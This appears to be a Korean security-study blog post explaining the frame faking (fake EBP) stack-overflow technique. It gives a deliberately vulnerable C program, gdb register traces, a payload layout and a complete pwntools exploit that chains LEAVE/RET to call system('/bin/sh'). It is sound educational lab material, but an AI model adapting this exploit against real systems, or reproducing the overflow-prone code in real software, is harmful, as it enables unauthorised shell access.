Frame faking이란 가짜 Stack Frame Pointer(SFP)를 만들어 프로그램의 실행 흐름을 제어하는 것이다.
LEAVE & RET instruction
Frame faking을 이해하기 위해 우선 LEAVE 명령어와 RET 명령어의 이해가 필요하다.
- LEAVE 명령어는 다음과 같이 동작한다.
- RBP(EBP) 레지스터에 저장된 값을 RSP(ESP) 레지스터에 저장한다.
- RSP(ESP) 레지스터가 가리키는 Stack 영역에 값을 RBP(EBP) 레지스터에 저장한다.
- RET 명령어는 다음과 같이 작동한다.
- RSP(ESP) 레지스터가 가리키는 Sstack 영역에 값을 RIP(EIP) 레지스터에 저장한다.
- JMP 명령어를 이용해 RIP(EIP)에 저장된 영역으로 이동한다.
Instruction | 64 Bit | 32 Bit |
LEAVE | MOV RSP, RBP POP RBP |
MOV ESP, EBP POP EBP |
RET | POP RIP JMP RIP |
POP EIP JMP EIP |
Proof of concept
다음 코드를 이용해 Frame faking의 동작을 확인해 보겠다.
- 해당 프로그램은 Stack address, Libc address를 출력한다.
- Stack address : buf
- Libc address : printf_addr
- read() 함수를 이용해 사용자로부터 70개의 문자를 입력받는다.
- 이로 인해 Stack Buffer Overflow가 발생한다.
//gcc -m32 -fno-stack-protector -o ff ff.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50];
printf("buf[50] address : %p\n",buf);
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 70);
}
void main(){
vuln();
}
다음과 같이 Breakpoint 설정 및 Stack overflow를 진행한다.
- 0x08048571 : vuln() 함수의 leave 명령어
- 문자 70개를 입력하여 SFP, RET 영역을 Overwrite 한다.
lazenca0x0@ubuntu:~/Exploit/FrameFaking$ gdb -q ./ff
Reading symbols from ./ff...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
0x0804851b <+0>: push ebp
0x0804851c <+1>: mov ebp,esp
0x0804851e <+3>: sub esp,0x48
0x08048521 <+6>: sub esp,0x8
0x08048524 <+9>: lea eax,[ebp-0x3e]
0x08048527 <+12>: push eax
0x08048528 <+13>: push 0x8048620
0x0804852d <+18>: call 0x80483e0 <printf@plt>
0x08048532 <+23>: add esp,0x10
0x08048535 <+26>: sub esp,0x8
0x08048538 <+29>: push 0x8048636
0x0804853d <+34>: push 0xffffffff
0x0804853f <+36>: call 0x8048400 <dlsym@plt>
0x08048544 <+41>: add esp,0x10
0x08048547 <+44>: mov DWORD PTR [ebp-0xc],eax
0x0804854a <+47>: sub esp,0x8
0x0804854d <+50>: push DWORD PTR [ebp-0xc]
0x08048550 <+53>: push 0x804863d
0x08048555 <+58>: call 0x80483e0 <printf@plt>
0x0804855a <+63>: add esp,0x10
0x0804855d <+66>: sub esp,0x4
0x08048560 <+69>: push 0x46
0x08048562 <+71>: lea eax,[ebp-0x3e]
0x08048565 <+74>: push eax
0x08048566 <+75>: push 0x0
0x08048568 <+77>: call 0x80483d0 <read@plt>
0x0804856d <+82>: add esp,0x10
0x08048570 <+85>: nop
0x08048571 <+86>: leave
0x08048572 <+87>: ret
End of assembler dump.
gdb-peda$ b *0x08048571
Breakpoint 1 at 0x8048571
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/FrameFaking/ff
buf[50] address : 0xffffd57a
Printf() address : 0xf7e4d020
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRR
다음과 같이 leave 명령어의 동작을 확인할 수 있다.
- vuln() 함수에서 사용하던 Frame Pointer의 주소를 ESP에 저장한다.
- ESP 레지스터에 저장된 Stack 영역에서 값을 추출해서 EBP 레지스터에 저장한다.
- 원래 main() 함수에서 사용하던 Frame Pointer의 주소가 EBP에 저장되어야 하지만 해당 영역은 Overwrite 되었기 때문에 값이 변조된다.
Instruction | ESP | EBP | Stack data | |
leave 명령어 실행 전 | 0xffffd570 | 0xffffd5b8 | 0x00000000 | 0xffffd614 |
leave 명령어 - MOV ESP, EBP | 0xffffd5b8 | 0xffffd5b8 | 0x51515050 | 0x52525151 |
leave 명령어 - POP EBP | 0xffffd5bc | 0x51515050 | 0x52525151 | 0xf7fb43dc |
Breakpoint 1, 0x08048571 in vuln ()
gdb-peda$
gdb-peda$ i r esp
esp 0xffffd570 0xffffd570
gdb-peda$ i r ebp
ebp 0xffffd5b8 0xffffd5b8
gdb-peda$ x/2wx 0xffffd570
0xffffd570: 0x00000000 0xffffd614
gdb-peda$ x/2wx 0xffffd5b8
0xffffd5b8: 0x51515050 0x52525151
gdb-peda$ ni
0x08048572 in vuln ()
gdb-peda$ i r esp
esp 0xffffd5bc 0xffffd5bc
gdb-peda$ i r ebp
ebp 0x51515050 0x51515050
gdb-peda$ x/2wx 0xffffd5bc
0xffffd5bc: 0x52525151 0xf7fb43dc
gdb-peda$
위와 같은 레지스터 상태에서 다시 한번 leave 명령어가 실행되면 다음과 같은 결과가 나타난다.
- Overflow에 의해 변경된 Frame Pointer의 주소(0x51515050)를 ESP에 저장한다.
- 즉, leave 명령어가 다시 호출됨으로써 ESP 레지스터의 값을 변경할 수 있으며, 이로 인해 코드의 흐름도 변경할 수 있다.
Instruction | ESP | EBP | Stack data | |
leave 명령어 실행 전 | 0xffffd5c0 | 0x51515050 | 0xf7fb43dc | 0xffffd5e0 |
leave 명령어 - MOV ESP, EBP | 0x51515050 | 0x51515050 | - | - |
leave 명령어 - POP EBP | - | - | - | - |
gdb-peda$ ni
Breakpoint 1, 0x08048571 in vuln ()
gdb-peda$ i r esp
esp 0xffffd5c0 0xffffd5c0
gdb-peda$ i r ebp
ebp 0x51515050 0x51515050
gdb-peda$ x/2wx 0xffffd5c0
0xffffd5c0: 0xf7fb43dc 0xffffd5e0
gdb-peda$ x/2wx 0x51515050
0x51515050: Cannot access memory at address 0x51515050
gdb-peda$ ni
Program received signal SIGSEGV, Segmentation fault.
이를 이용해 system 함수를 실행하는 방법은 아래와 같다.
- Frame Pointer 영역 : "RTL 코드가 저장되어 있는 주소 - 0x4" 주소를 저장
- Return address 영역 : leave 명령어가 저장되어 있는 주소를 저장
buf[0] | 0x90909090 |
buf[4] | The system function address in libc |
buf[8] | The exit function address in libc |
buf[12] | "/bin/sh" address |
~ | ~ |
Frame Pointer | buf[0] Stack Address |
Return Address | leave instrcution |
위에서 작성한 구조는 다음과 같이 동작한다.
- RET에 의해 leave 명령어를 다시 실행한다.
- EBP 레지스터에 Stack Overflow로 인해 "RTL 코드가 저장되어 있는 주소+0x4" 주소 값(0xffffd53a)이 저장되어 있다.
- 해당 값은 ESP 레지스터에 저장되며, ESP 레지스터에 저장된 주소에서 값을 추출해 EBP 레지스터에 저장(0x90909090)한다.
- POP 명령에 의해 ESP의 값이 0x4 증가한다.
- leave 명령어 실행 후 ret 명령어를 실행한다.
- ESP 레지스터는 RTL 코드가 저장된 영역을 가리킨다.
- system 함수의 주소를 EIP에 저장한다.
Instruction | EIP | ESP | EBP | Stack data | |||
leave 명령어 실행 전 | 0x8048571 | 0xffffd580 | 0xffffd53a | 0xf7fb03dc | 0xffffd5a0 | 0x00000000 | 0xf7e18637 |
leave 명령어 - MOV ESP, EBP | 0x8048571 | 0xffffd53a | 0xffffd53a | 0x90909090 | system | exit | binsh |
leave 명령어 - POP EBP | 0x8048571 | 0xffffd53e | 0x90909090 | system | exit | binsh | 0x90909090 |
ret 명령어 - POP EIP | system | 0xffffd542 | 0x90909090 | exit | binsh | 0x90909090 | 0x90909090 |
ret 명령어 - JMP EIP | system | 0xffffd542 | 0x90909090 | exit | binsh | 0x90909090 | 0x90909090 |
이를 위한 Exploit 코드는 다음과 같다.
from pwn import *
p = process('./ff')
p.recvuntil('buf[50] address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
p.recvuntil('Printf() address : ')
libc = p.recvuntil('\n')
libc = int(libc,16)
leave = 0x08048571
libcBase = libc - 0x49020
sysAddr = libcBase + 0x3a940
exit = libcBase + 0x2e7b0
binsh = libcBase + 0x15902b
print "stackAddr : " + hex(stackAddr)
print "libc base : " + hex(libcBase)
print "system() : " +hex(sysAddr)
print "exit() : " +hex(exit)
print "binsh : " + hex(binsh)
exploit = p32(0x90909090)
exploit += p32(sysAddr)
exploit += p32(exit)
exploit += p32(binsh)
exploit += '\x90' * (62 - len(exploit))
exploit += p32(stackAddr)
exploit += p32(leave)
p.send(exploit)
p.interactive()
해당 코드는 32bit 함수 호출 규약에 의해 작성된 것이고, 64bit 바이너리에서 Exploit을 진행한다면 코드가 달라질 수 있다.
참고 사이트
04.Frame faking(Fake ebp) - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List Frame faking(Fake ebp) Frame faking이란 가짜 스택 프레임 포인터(Stack Frame Pointer)를 만들어 프로그램의 실행 흐름을 제어하는 것입니다.Return Address영역 까
www.lazenca.net
'hacking > pwnable' 카테고리의 다른 글
Double Free Bug (0) | 2023.05.28 |
---|---|
Frame Pointer Overwrite(One-byte Overflow) (0) | 2023.05.28 |
One-gadgets (0) | 2023.05.27 |
ROP(Return Oriented Programming) (0) | 2023.05.27 |
RTL(Return to Libc) (0) | 2023.05.27 |